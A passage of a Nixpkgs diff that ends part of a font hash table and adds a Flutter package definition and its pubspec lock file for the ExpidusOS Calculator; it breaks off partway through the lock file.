+  SGr-IosevkaFixedSS17 = "0paiwkkar6lzlggilds5z4qq7mw7qhcj8syn0hpyfivx1jh5zp0x";
+  SGr-IosevkaFixedSS18 = "0ghxl8zxpwz3sg89kx8s1qhrv5r7hcp77dv2k6wihfdqbi507pp6";
+  SGr-IosevkaSlab = "10d6miynr4ywjni5x306bkyimvrf8nxr9nq3khnfrm64al5kv8ly";
+  SGr-IosevkaSS01 = "19467salb40flls3fijskx6g9jjbw7kzni9fikr1141hd6rp7a9d";
+  SGr-IosevkaSS02 = "0vqyxrk3v48l6l1z5lvhqq56xff1v6pjr5q6n5nn8jlf22jmrdx3";
+  SGr-IosevkaSS03 = "1y39rdg4rap3l55ga2kjp7dxr4bi3g3n3mhm1f3s15xmjx9wh3hr";
+  SGr-IosevkaSS04 = "1igx2d1fh328w7jr8nz24kdh5jdr8gdp2hwmh5rg09jw400v9pph";
+  SGr-IosevkaSS05 = "0a7yw1nig9j64jhs9dmm26367f4b8d3kz55x2r0nny20l309iwc7";
+  SGr-IosevkaSS06 = "1diq8s859lh02pv2g6gq3d8f2wva0vh7mim3rygd5p6nhsz1z0ya";
+  SGr-IosevkaSS07 = "0y9kwms1qfnpdzzrsxrmla1vhvxldz7bj0162k9kfphmg49kdzp6";
+  SGr-IosevkaSS08 = "0zlgvck0c5rnkc6v0zfxl2bj2py1mvahag9f9x4z537b2f71miwb";
+  SGr-IosevkaSS09 = "0aqr55cyik59d807xwn4xbalq3hkj85wphxb713qcdqxh0fx14m3";
+  SGr-IosevkaSS10 = "0racfcw376s4z3kpb928d9kif6gqgcqyj6m0mpbwgap5fxjq227b";
+  SGr-IosevkaSS11 = "0pirg5pvmbs3c630x6fh685rnmqam7nciyvv00280fal8pn2q90d";
+  SGr-IosevkaSS12 = "0hm1jjsmi1chmvq4yf7fy2xsj2zvqxwhip0cn3ndhk35zi0y31dk";
+  SGr-IosevkaSS13 = "180pq16ax9inx454ar5biwfwi4n6h1zivg55czm50pb444a7lm6f";
+  SGr-IosevkaSS14 = "120cmw9s8cpjbdkvrl9cqy52pv5pxx1cy9ngbanhrma6pfssfq27";
+  SGr-IosevkaSS15 = "10x25vcpknig8bdd0iqb7i1s18l2m3r72kdmnxf227ba1gy4rizn";
+  SGr-IosevkaSS16 = "0jm07z7sgvr07zrzk51irxlnv8r1frsc5ay4yks3qh3gbphc35bb";
+  SGr-IosevkaSS17 = "103n3cy3vfcb7yirj78x0q73prw5c5hx2493daqy6qvhwb52xm4g";
+  SGr-IosevkaSS18 = "1grgq4147nh0g4d0dvcmmwz1xmhar4gdjv8rgng2z8fc4sbvlvjf";
+  SGr-IosevkaTerm = "0i356wmzxlii2wc15va2m4sl56lg099xyixjkcc5w2p57dycljl5";
+  SGr-IosevkaTermCurly = "1mna0m08wi2gmbmj2gdnk4z1pqvyvrbig2wrna104mcc121slnmg";
+  SGr-IosevkaTermCurlySlab = "06gy71wg5nkdx6nk1l97ag100if5fy44bc4bnj4v0whnd6a4rgvj";
+  SGr-IosevkaTermSlab = "1w2508a24rf21vaiy15pb0flk3gb7am8iv7x0px9bljpng9pnanr";
+  SGr-IosevkaTermSS01 = "1gnmr32n3z8hm8xjcix9bkip1hpp4fdhzqvvw5iwaa259xz1x6pf";
+  SGr-IosevkaTermSS02 = "19a88y4kpfxqw9fgy0yx6mv48mx5hmpijpc9bswn79lfxdhv2kc9";
+  SGr-IosevkaTermSS03 = "13y1i1gfzgf0p5x75kf61j4ya9gmphjw6wj5j6a3fx5nxg2856pi";
+  SGr-IosevkaTermSS04 = "1q1p6gj2wx1pp9s46rw08nrdpm87xgx67vmi2dllkf20azs264vp";
+  SGr-IosevkaTermSS05 = "1kkz5sb8i9fsj27zd4nvlvnfc6scq00nmw5vc7r700jn0aqzlhyb";
+  SGr-IosevkaTermSS06 = "1wbc1y2l8lqg0qcsf8iq0w6nglhsgns8dmvf94ay2mzwmq2acw1i";
+  SGr-IosevkaTermSS07 = "1s9wsmqlliy1rf7gj15p4z8vmlhyxq7c2w8hyqf5az97rqprx6ir";
+  SGr-IosevkaTermSS08 = "17cjrwnladjnmch73l55p8bhdnbpr2jk8r6ssrs3pr1pi4xiv5i2";
+  SGr-IosevkaTermSS09 = "16fy6pwh8qlnl1knp429rhvcx26ldcb0vri614cv87fwm7vvykql";
+  SGr-IosevkaTermSS10 = "0vg3qqhbc308m90h7cy1av62zy5a34rzl60kba3d1skq1mf9zwlm";
+  SGr-IosevkaTermSS11 = "08k73y8nrdzjn23fbpc5qn9gff8zvb65yb6hcrj359p0dxwx0r24";
+  SGr-IosevkaTermSS12 = "10vlww4by76a2yvczimhv5y8wcxl6ir5sal8qcfbkz11ml2fp5q6";
+  SGr-IosevkaTermSS13 = "1a62vdsdk5c42gi34gi345dqqirn7rqdpfj0chc3394wjdx3g1bl";
+  SGr-IosevkaTermSS14 = "0aq251sw84l8phys73589ky4xymbdglnn1ff07a6k862r3c1bzz0";
+  SGr-IosevkaTermSS15 = "0mslmw4ywgdfhz1xgpa2ybhxpa423l2f8dwgxz6ngmbrl8sbqcr9";
+  SGr-IosevkaTermSS16 = "1sr2sm1i6isivd3qgirxhgscf54sqw2cm5p7zhj9jqnmgsvvm1p2";
+  SGr-IosevkaTermSS17 = "00x3h0pp0q0hrqhy5mf0smf6gf5hxn19yvk6cnlsbkgfhgw5swh9";
+  SGr-IosevkaTermSS18 = "0nv7pqwwfwgrdam0f2104x8p4v1b4lvxqv1pzab32l1s61iw7jsz";
 }
--- a/pkgs/desktops/expidus/calculator/default.nix
+++ b/pkgs/desktops/expidus/calculator/default.nix
@ -0,0 +1,50 @@
+{ lib, flutter, fetchFromGitHub }:
+flutter.buildFlutterApplication rec {
+  pname = "expidus-calculator";
+  version = "0.1.1-alpha";
+
+  src = fetchFromGitHub {
+    owner = "ExpidusOS";
+    repo = "calculator";
+    rev = version;
+    hash = "sha256-O3LHp10Fo3PW3zoN7mFSQEKh+AAaR+IqkRtc6nQrIZE=";
+  };
+
+  flutterBuildFlags = [
+    "--dart-define=COMMIT_HASH=a5d8f54404b9994f83beb367a1cd11e04a6420cb"
+  ];
+
+  pubspecLock = lib.importJSON ./pubspec.lock.json;
+
+  gitHashes = {
+    libtokyo = "sha256-T0+vyfSfijLv7MvM+zt3bkVpb3aVrlDnse2xyNMp9GU=";
+    libtokyo_flutter = "sha256-T0+vyfSfijLv7MvM+zt3bkVpb3aVrlDnse2xyNMp9GU=";
+  };
+
+  postInstall = ''
+    rm $out/bin/calculator
+    ln -s $out/app/calculator $out/bin/expidus-calculator
+
+    mkdir -p $out/share/applications
+    mv $out/app/data/com.expidusos.calculator.desktop $out/share/applications
+
+    mkdir -p $out/share/icons
+    mv $out/app/data/com.expidusos.calculator.png $out/share/icons
+
+    mkdir -p $out/share/metainfo
+    mv $out/app/data/com.expidusos.calculator.metainfo.xml $out/share/metainfo
+
+    substituteInPlace "$out/share/applications/com.expidusos.calculator.desktop" \
+      --replace "Exec=calculator" "Exec=$out/bin/expidus-calculator" \
+      --replace "Icon=com.expidusos.calculator" "Icon=$out/share/icons/com.expidusos.calculator.png"
+  '';
+
+  meta = with lib; {
+    description = "ExpidusOS Calculator";
+    homepage = "https://expidusos.com";
+    license = licenses.gpl3Only;
+    maintainers = with maintainers; [ RossComputerGuy ];
+    platforms = [ "x86_64-linux" "aarch64-linux" ];
+    mainProgram = "expidus-calculator";
+  };
+}
--- a/pkgs/desktops/expidus/calculator/pubspec.lock.json
+++ b/pkgs/desktops/expidus/calculator/pubspec.lock.json
@ -0,0 +1,790 @@
+{
+  "packages": {
+    "args": {
+      "dependency": "transitive",
+      "description": {
+        "name": "args",
+        "sha256": "eef6c46b622e0494a36c5a12d10d77fb4e855501a91c1b9ef9339326e58f0596",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.4.2"
+    },
+    "async": {
+      "dependency": "transitive",
+      "description": {
+        "name": "async",
+        "sha256": "947bfcf187f74dbc5e146c9eb9c0f10c9f8b30743e341481c1e2ed3ecc18c20c",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.11.0"
+    },
+    "bitsdojo_window": {
+      "dependency": "direct main",
+      "description": {
+        "name": "bitsdojo_window",
+        "sha256": "1118bc1cd16e6f358431ca4473af57cc1b287d2ceab46dfab6d59a9463160622",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.1.5"
+    },
+    "bitsdojo_window_linux": {
+      "dependency": "transitive",
+      "description": {
+        "name": "bitsdojo_window_linux",
+        "sha256": "d3804a30315fcbb43b28acc86d1180ce0be22c0c738ad2da9e5ade4d8dbd9655",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.1.3"
+    },
+    "bitsdojo_window_macos": {
+      "dependency": "transitive",
+      "description": {
+        "name": "bitsdojo_window_macos",
+        "sha256": "d2a9886c74516c5b84c1dd65ab8ee5d1c52055b265ebf0e7d664dee28366b521",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.1.3"
+    },
+    "bitsdojo_window_platform_interface": {
+      "dependency": "transitive",
+      "description": {
+        "name": "bitsdojo_window_platform_interface",
+        "sha256": "65daa015a0c6dba749bdd35a0f092e7a8ba8b0766aa0480eb3ef808086f6e27c",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.1.2"
+    },
+    "bitsdojo_window_windows": {
+      "dependency": "transitive",
+      "description": {
+        "name": "bitsdojo_window_windows",
+        "sha256": "8766a40aac84a6d7bdcaa716b24997e028fc9a9a1800495fc031721fd5a22ed0",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.1.5"
+    },
+    "boolean_selector": {
+      "dependency": "transitive",
+      "description": {
+        "name": "boolean_selector",
+        "sha256": "6cfb5af12253eaf2b368f07bacc5a80d1301a071c73360d746b7f2e32d762c66",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.1"
+    },
+    "characters": {
+      "dependency": "transitive",
+      "description": {
+        "name": "characters",
+        "sha256": "04a925763edad70e8443c99234dc3328f442e811f1d8fd1a72f1c8ad0f69a605",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.3.0"
+    },
+    "clock": {
+      "dependency": "transitive",
+      "description": {
+        "name": "clock",
+        "sha256": "cb6d7f03e1de671e34607e909a7213e31d7752be4fb66a86d29fe1eb14bfb5cf",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.1.1"
+    },
+    "collection": {
+      "dependency": "transitive",
+      "description": {
+        "name": "collection",
+        "sha256": "4a07be6cb69c84d677a6c3096fcf960cc3285a8330b4603e0d463d15d9bd934c",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.17.1"
+    },
+    "crypto": {
+      "dependency": "transitive",
+      "description": {
+        "name": "crypto",
+        "sha256": "ff625774173754681d66daaf4a448684fb04b78f902da9cb3d308c19cc5e8bab",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.0.3"
+    },
+    "fake_async": {
+      "dependency": "transitive",
+      "description": {
+        "name": "fake_async",
+        "sha256": "511392330127add0b769b75a987850d136345d9227c6b94c96a04cf4a391bf78",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.3.1"
+    },
+    "ffi": {
+      "dependency": "transitive",
+      "description": {
+        "name": "ffi",
+        "sha256": "7bf0adc28a23d395f19f3f1eb21dd7cfd1dd9f8e1c50051c069122e6853bc878",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.0"
+    },
+    "file": {
+      "dependency": "transitive",
+      "description": {
+        "name": "file",
+        "sha256": "1b92bec4fc2a72f59a8e15af5f52cd441e4a7860b49499d69dfa817af20e925d",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "6.1.4"
+    },
+    "filesize": {
+      "dependency": "transitive",
+      "description": {
+        "name": "filesize",
+        "sha256": "f53df1f27ff60e466eefcd9df239e02d4722d5e2debee92a87dfd99ac66de2af",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.0.1"
+    },
+    "flutter": {
+      "dependency": "direct main",
+      "description": "flutter",
+      "source": "sdk",
+      "version": "0.0.0"
+    },
+    "flutter_adaptive_scaffold": {
+      "dependency": "direct main",
+      "description": {
+        "name": "flutter_adaptive_scaffold",
+        "sha256": "3e78be8b9c95b1c9832b2f8ec4a845adac205c4bb5e7bd3fb204b07990229167",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.1.7+1"
+    },
+    "flutter_lints": {
+      "dependency": "direct dev",
+      "description": {
+        "name": "flutter_lints",
+        "sha256": "a25a15ebbdfc33ab1cd26c63a6ee519df92338a9c10f122adda92938253bef04",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.0.3"
+    },
+    "flutter_localizations": {
+      "dependency": "direct main",
+      "description": "flutter",
+      "source": "sdk",
+      "version": "0.0.0"
+    },
+    "flutter_markdown": {
+      "dependency": "direct main",
+      "description": {
+        "name": "flutter_markdown",
+        "sha256": "d4a1cb250c4e059586af0235f32e02882860a508e189b61f2b31b8810c1e1330",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.6.17+2"
+    },
+    "flutter_test": {
+      "dependency": "direct dev",
+      "description": "flutter",
+      "source": "sdk",
+      "version": "0.0.0"
+    },
+    "flutter_web_plugins": {
+      "dependency": "transitive",
+      "description": "flutter",
+      "source": "sdk",
+      "version": "0.0.0"
+    },
+    "http": {
+      "dependency": "transitive",
+      "description": {
+        "name": "http",
+        "sha256": "5895291c13fa8a3bd82e76d5627f69e0d85ca6a30dcac95c4ea19a5d555879c2",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.13.6"
+    },
+    "http_parser": {
+      "dependency": "transitive",
+      "description": {
+        "name": "http_parser",
+        "sha256": "2aa08ce0341cc9b354a498388e30986515406668dbcc4f7c950c3e715496693b",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "4.0.2"
+    },
+    "intl": {
+      "dependency": "transitive",
+      "description": {
+        "name": "intl",
+        "sha256": "a3715e3bc90294e971cb7dc063fbf3cd9ee0ebf8604ffeafabd9e6f16abbdbe6",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.18.0"
+    },
+    "js": {
+      "dependency": "transitive",
+      "description": {
+        "name": "js",
+        "sha256": "f2c445dce49627136094980615a031419f7f3eb393237e4ecd97ac15dea343f3",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.6.7"
+    },
+    "libtokyo": {
+      "dependency": "direct main",
+      "description": {
+        "path": "packages/libtokyo",
+        "ref": "f48d528ebfc22fe827fe9f2d1965be1d339ccfb7",
+        "resolved-ref": "f48d528ebfc22fe827fe9f2d1965be1d339ccfb7",
+        "url": "https://github.com/ExpidusOS/libtokyo.git"
+      },
+      "source": "git",
+      "version": "0.1.0"
+    },
+    "libtokyo_flutter": {
+      "dependency": "direct main",
+      "description": {
+        "path": "packages/libtokyo_flutter",
+        "ref": "f48d528ebfc22fe827fe9f2d1965be1d339ccfb7",
+        "resolved-ref": "f48d528ebfc22fe827fe9f2d1965be1d339ccfb7",
+        "url": "https://github.com/ExpidusOS/libtokyo.git"
+      },
+      "source": "git",
+      "version": "0.1.0"
+    },
+    "lints": {
+      "dependency": "transitive",
+      "description": {
+        "name": "lints",
+        "sha256": "0a217c6c989d21039f1498c3ed9f3ed71b354e69873f13a8dfc3c9fe76f1b452",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.1"
+    },
+    "markdown": {
+      "dependency": "direct main",
+      "description": {
+        "name": "markdown",
+        "sha256": "acf35edccc0463a9d7384e437c015a3535772e09714cf60e07eeef3a15870dcd",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "7.1.1"
+    },
+    "matcher": {
+      "dependency": "transitive",
+      "description": {
+        "name": "matcher",
+        "sha256": "6501fbd55da300384b768785b83e5ce66991266cec21af89ab9ae7f5ce1c4cbb",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.12.15"
+    },
+    "material_color_utilities": {
+      "dependency": "transitive",
+      "description": {
+        "name": "material_color_utilities",
+        "sha256": "d92141dc6fe1dad30722f9aa826c7fbc896d021d792f80678280601aff8cf724",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.2.0"
+    },
+    "material_theme_builder": {
+      "dependency": "transitive",
+      "description": {
+        "name": "material_theme_builder",
+        "sha256": "380ab70835e01f4ee0c37904eebae9e36ed37b5cf8ed40d67412ea3244a2afd6",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.0.4"
+    },
+    "math_expressions": {
+      "dependency": "direct main",
+      "description": {
+        "name": "math_expressions",
+        "sha256": "3576593617c3870d75728a751f6ec6e606706d44e363f088ac394b5a28a98064",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.4.0"
+    },
+    "meta": {
+      "dependency": "transitive",
+      "description": {
+        "name": "meta",
+        "sha256": "3c74dbf8763d36539f114c799d8a2d87343b5067e9d796ca22b5eb8437090ee3",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.9.1"
+    },
+    "nested": {
+      "dependency": "transitive",
+      "description": {
+        "name": "nested",
+        "sha256": "03bac4c528c64c95c722ec99280375a6f2fc708eec17c7b3f07253b626cd2a20",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.0.0"
+    },
+    "package_info_plus": {
+      "dependency": "direct main",
+      "description": {
+        "name": "package_info_plus",
+        "sha256": "10259b111176fba5c505b102e3a5b022b51dd97e30522e906d6922c745584745",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.1.2"
+    },
+    "package_info_plus_platform_interface": {
+      "dependency": "transitive",
+      "description": {
+        "name": "package_info_plus_platform_interface",
+        "sha256": "9bc8ba46813a4cc42c66ab781470711781940780fd8beddd0c3da62506d3a6c6",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.0.1"
+    },
+    "path": {
+      "dependency": "transitive",
+      "description": {
+        "name": "path",
+        "sha256": "8829d8a55c13fc0e37127c29fedf290c102f4e40ae94ada574091fe0ff96c917",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.8.3"
+    },
+    "path_provider_linux": {
+      "dependency": "transitive",
+      "description": {
+        "name": "path_provider_linux",
+        "sha256": "f7a1fe3a634fe7734c8d3f2766ad746ae2a2884abe22e241a8b301bf5cac3279",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.2.1"
+    },
+    "path_provider_platform_interface": {
+      "dependency": "transitive",
+      "description": {
+        "name": "path_provider_platform_interface",
+        "sha256": "94b1e0dd80970c1ce43d5d4e050a9918fce4f4a775e6142424c30a29a363265c",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.1"
+    },
+    "path_provider_windows": {
+      "dependency": "transitive",
+      "description": {
+        "name": "path_provider_windows",
+        "sha256": "8bc9f22eee8690981c22aa7fc602f5c85b497a6fb2ceb35ee5a5e5ed85ad8170",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.2.1"
+    },
+    "platform": {
+      "dependency": "transitive",
+      "description": {
+        "name": "platform",
+        "sha256": "ae68c7bfcd7383af3629daafb32fb4e8681c7154428da4febcff06200585f102",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.1.2"
+    },
+    "plugin_platform_interface": {
+      "dependency": "transitive",
+      "description": {
+        "name": "plugin_platform_interface",
+        "sha256": "da3fdfeccc4d4ff2da8f8c556704c08f912542c5fb3cf2233ed75372384a034d",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.6"
+    },
+    "provider": {
+      "dependency": "direct main",
+      "description": {
+        "name": "provider",
+        "sha256": "cdbe7530b12ecd9eb455bdaa2fcb8d4dad22e80b8afb4798b41479d5ce26847f",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "6.0.5"
+    },
+    "pub_semver": {
+      "dependency": "direct main",
+      "description": {
+        "name": "pub_semver",
+        "sha256": "40d3ab1bbd474c4c2328c91e3a7df8c6dd629b79ece4c4bd04bee496a224fb0c",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.4"
+    },
+    "pubspec": {
+      "dependency": "direct main",
+      "description": {
+        "name": "pubspec",
+        "sha256": "f534a50a2b4d48dc3bc0ec147c8bd7c304280fff23b153f3f11803c4d49d927e",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.3.0"
+    },
+    "quiver": {
+      "dependency": "transitive",
+      "description": {
+        "name": "quiver",
+        "sha256": "b1c1ac5ce6688d77f65f3375a9abb9319b3cb32486bdc7a1e0fdf004d7ba4e47",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.2.1"
+    },
+    "sentry": {
+      "dependency": "transitive",
+      "description": {
+        "name": "sentry",
+        "sha256": "39c23342fc96105da449914f7774139a17a0ca8a4e70d9ad5200171f7e47d6ba",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "7.9.0"
+    },
+    "sentry_flutter": {
+      "dependency": "direct main",
+      "description": {
+        "name": "sentry_flutter",
+        "sha256": "ff68ab31918690da004a42e20204242a3ad9ad57da7e2712da8487060ac9767f",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "7.9.0"
+    },
+    "shared_preferences": {
+      "dependency": "direct main",
+      "description": {
+        "name": "shared_preferences",
+        "sha256": "b7f41bad7e521d205998772545de63ff4e6c97714775902c199353f8bf1511ac",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.2.1"
+    },
+    "shared_preferences_android": {
+      "dependency": "transitive",
+      "description": {
+        "name": "shared_preferences_android",
+        "sha256": "8568a389334b6e83415b6aae55378e158fbc2314e074983362d20c562780fb06",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.2.1"
+    },
+    "shared_preferences_foundation": {
+      "dependency": "transitive",
+      "description": {
+        "name": "shared_preferences_foundation",
+        "sha256": "7bf53a9f2d007329ee6f3df7268fd498f8373602f943c975598bbb34649b62a7",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.3.4"
+    },
+    "shared_preferences_linux": {
+      "dependency": "transitive",
+      "description": {
+        "name": "shared_preferences_linux",
+        "sha256": "c2eb5bf57a2fe9ad6988121609e47d3e07bb3bdca5b6f8444e4cf302428a128a",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.3.1"
+    },
+    "shared_preferences_platform_interface": {
+      "dependency": "transitive",
+      "description": {
+        "name": "shared_preferences_platform_interface",
+        "sha256": "d4ec5fc9ebb2f2e056c617112aa75dcf92fc2e4faaf2ae999caa297473f75d8a",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.3.1"
+    },
+    "shared_preferences_web": {
+      "dependency": "transitive",
+      "description": {
+        "name": "shared_preferences_web",
+        "sha256": "d762709c2bbe80626ecc819143013cc820fa49ca5e363620ee20a8b15a3e3daf",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.2.1"
+    },
+    "shared_preferences_windows": {
+      "dependency": "transitive",
+      "description": {
+        "name": "shared_preferences_windows",
+        "sha256": "f763a101313bd3be87edffe0560037500967de9c394a714cd598d945517f694f",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.3.1"
+    },
+    "sky_engine": {
+      "dependency": "transitive",
+      "description": "flutter",
+      "source": "sdk",
+      "version": "0.0.99"
+    },
+    "source_span": {
+      "dependency": "transitive",
+      "description": {
+        "name": "source_span",
+        "sha256": "dd904f795d4b4f3b870833847c461801f6750a9fa8e61ea5ac53f9422b31f250",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.9.1"
+    },
+    "stack_trace": {
+      "dependency": "transitive",
+      "description": {
+        "name": "stack_trace",
+        "sha256": "c3c7d8edb15bee7f0f74debd4b9c5f3c2ea86766fe4178eb2a18eb30a0bdaed5",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.11.0"
+    },
+    "stream_channel": {
+      "dependency": "transitive",
+      "description": {
+        "name": "stream_channel",
+        "sha256": "83615bee9045c1d322bbbd1ba209b7a749c2cbcdcb3fdd1df8eb488b3279c1c8",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.1"
+    },
+    "string_scanner": {
+      "dependency": "transitive",
+      "description": {
+        "name": "string_scanner",
+        "sha256": "556692adab6cfa87322a115640c11f13cb77b3f076ddcc5d6ae3c20242bedcde",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.2.0"
+    },
+    "term_glyph": {
+      "dependency": "transitive",
+      "description": {
+        "name": "term_glyph",
+        "sha256": "a29248a84fbb7c79282b40b8c72a1209db169a2e0542bce341da992fe1bc7e84",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.2.1"
+    },
+    "test_api": {
+      "dependency": "transitive",
+      "description": {
+        "name": "test_api",
+        "sha256": "eb6ac1540b26de412b3403a163d919ba86f6a973fe6cc50ae3541b80092fdcfb",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.5.1"
+    },
+    "typed_data": {
+      "dependency": "transitive",
+      "description": {
+        "name": "typed_data",
+        "sha256": "facc8d6582f16042dd49f2463ff1bd6e2c9ef9f3d5da3d9b087e244a7b564b3c",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.3.2"
+    },
+    "uri": {
+      "dependency": "transitive",
+      "description": {
+        "name": "uri",
+        "sha256": "889eea21e953187c6099802b7b4cf5219ba8f3518f604a1033064d45b1b8268a",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.0.0"
+    },
+    "url_launcher": {
+      "dependency": "direct main",
+      "description": {
+        "name": "url_launcher",
+        "sha256": "47e208a6711459d813ba18af120d9663c20bdf6985d6ad39fe165d2538378d27",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "6.1.14"
+    },
+    "url_launcher_android": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_android",
+        "sha256": "b04af59516ab45762b2ca6da40fa830d72d0f6045cd97744450b73493fa76330",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "6.1.0"
+    },
+    "url_launcher_ios": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_ios",
+        "sha256": "7c65021d5dee51813d652357bc65b8dd4a6177082a9966bc8ba6ee477baa795f",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "6.1.5"
+    },
+    "url_launcher_linux": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_linux",
+        "sha256": "b651aad005e0cb06a01dbd84b428a301916dc75f0e7ea6165f80057fee2d8e8e",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.0.6"
+    },
+    "url_launcher_macos": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_macos",
+        "sha256": "b55486791f666e62e0e8ff825e58a023fd6b1f71c49926483f1128d3bbd8fe88",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.0.7"
+    },
+    "url_launcher_platform_interface": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_platform_interface",
+        "sha256": "95465b39f83bfe95fcb9d174829d6476216f2d548b79c38ab2506e0458787618",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.5"
+    },
+    "url_launcher_web": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_web",
+        "sha256": "ba140138558fcc3eead51a1c42e92a9fb074a1b1149ed3c73e66035b2ccd94f2",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.0.19"
+    },
+    "url_launcher_windows": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_windows",
+        "sha256": "95fef3129dc7cfaba2bc3d5ba2e16063bb561fc6d78e63eee16162bc70029069",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.0.8"
+    },
+    "uuid": {
+      "dependency": "transitive",
+      "description": {
+        "name": "uuid",
+        "sha256": "648e103079f7c64a36dc7d39369cabb358d377078a051d6ae2ad3aa539519313",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.0.7"
+    },
+    "vector_math": {
+      "dependency": "transitive",
+      "description": {
+        "name": "vector_math",
+        "sha256": "80b3257d1492ce4d091729e3a67a60407d227c27241d6927be0130c98e741803",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.4"
+    },
+    "win32": {
+      "dependency": "transitive",
+      "description": {
+        "name": "win32",
+        "sha256": "a6f0236dbda0f63aa9a25ad1ff9a9d8a4eaaa5012da0dc59d21afdb1dc361ca4",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.1.4"
+    },
+    "xdg_directories": {
+      "dependency": "transitive",
+      "description": {
+        "name": "xdg_directories",
+        "sha256": "589ada45ba9e39405c198fe34eb0f607cddb2108527e658136120892beac46d2",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.0.3"
+    },
+    "yaml": {
+      "dependency": "transitive",
+      "description": {
+        "name": "yaml",
+        "sha256": "75769501ea3489fca56601ff33454fe45507ea3bfb014161abc3b43ae25989d5",
+        "url": "https://pub.dev"
+      },
